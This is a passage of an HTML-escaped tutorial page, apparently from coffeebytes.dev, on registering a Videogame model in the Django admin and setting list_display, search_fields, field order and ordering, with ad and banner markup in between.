data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.admin&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.auth&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.contenttypes&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sessions&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.messages&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You must also add &lt;em&gt;django.contrib.messages.context_processors.messages&lt;/em&gt; and &lt;em&gt;django.contrib.auth.context_processors.auth&lt;/em&gt; to the &lt;em&gt;context_processors&lt;/em&gt; option in the TEMPLATES variable of your &lt;em&gt;settings.py&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;In the same way add &lt;em&gt;django.contrib.auth.middleware.AuthenticationMiddleware&lt;/em&gt; and &lt;em&gt;django.contrib.messages.middleware.MessageMiddleware&lt;/em&gt; to the MIDDLEWARE variable of your &lt;em&gt;settings.py&lt;/em&gt; file as well.&lt;/p&gt;&#xA;&lt;p&gt;Now that we are sure that the admin package is active, let&amp;rsquo;s start by adding a model. I&amp;rsquo;m going to use a hypothetical model called Videogame that looks like this&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GENRES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;HR&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Horror&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;AD&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Adventure&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Videogame&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TextField(blank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    genre &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(choices&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;GENRES, max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rating &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;FloatField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    modified &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(auto_now&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__str__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;adding-a-template-to-the-django-admin-panel&#34;&gt;Adding a template to the django admin panel&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start with the basics, adding a model to the admin.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(Videogame)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;With this we will have a modifiable model in the admin.&lt;/p&gt;&#xA;&lt;p&gt;If we enter the url /&lt;em&gt;admin/&lt;/em&gt; and log in, we will be able to see the interface working.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/PanelDeAdministracionDeDjango.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/PanelDeAdministracionDeDjango.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;django administration panel&#34; width=&#34;1029&#34; height=&#34;541&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Note the absence of the search bar&lt;/p&gt;&#xA;&lt;p&gt;If we click on the gray button in the upper right corner we can add a model.&lt;/p&gt;&#xA;&lt;h2 id=&#34;modifying-the-fields-that-appear-in-django-admin&#34;&gt;Modifying the fields that appear in django admin&lt;/h2&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;admin.py&lt;/em&gt; file inside our Django application we are going to inherit from the admin.ModelAdmin class.&lt;/p&gt;&#xA;&lt;p&gt;We can endow this model with the &lt;em&gt;list_display&lt;/em&gt; property, to tell the admin which fields we want to list in the manager.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;search_field&lt;/em&gt; property allows us to specify on which fields the search will be performed.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameAdmin&lt;/span&gt;(admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      list_display &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;created&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;#now this field should show more data about&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      search_fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(Videogame, VideogameAdmin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AgregandoCamposAlAdmin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/AgregandoCamposAlAdmin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;django admin admin panel with the created field and search bar added&#34; width=&#34;1024&#34; height=&#34;649&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;See the created field and the search bar&lt;/p&gt;&#xA;&lt;h2 id=&#34;change-the-order-of-the-fields-when-editing&#34;&gt;Change the order of the fields when editing&lt;/h2&gt;&#xA;&lt;p&gt;If we want to modify the order of the fields we add a &lt;em&gt;fields&lt;/em&gt; property to our class&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameAdmin&lt;/span&gt;(admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      list_display &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;created&amp;#39;&lt;/span&gt;) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      search_fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;genre&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rating&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(Videogame, VideogameAdmin)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can see, the order in which the fields appear has been modified. In order Description, Name, Genre and Rating, just as we specified.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/ModificandoElOrdenPredeterminadoDelAdmin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/images/ModificandoElOrdenPredeterminadoDelAdmin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Order of the modified model creation formulary according to the fields field&#34; width=&#34;1029&#34; height=&#34;707&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Notice how the order has changed from that specified in the fields property.&lt;/p&gt;&#xA;&lt;h2 id=&#34;sorting-objects-by-a-field&#34;&gt;Sorting objects by a field&lt;/h2&gt;&#xA;&lt;p&gt;Ordering specifies the field to be used for ordering the models.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# videogameStore/admin.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameAdmin&lt;/span&gt;(admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ModelAdmin):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      list_display &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;created&amp;#39;&lt;/span&gt;) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      search_fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;description&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;genre&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rating&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      ordering &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;-name&amp;#39;&lt;/span&gt;,)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;register(Videogame, 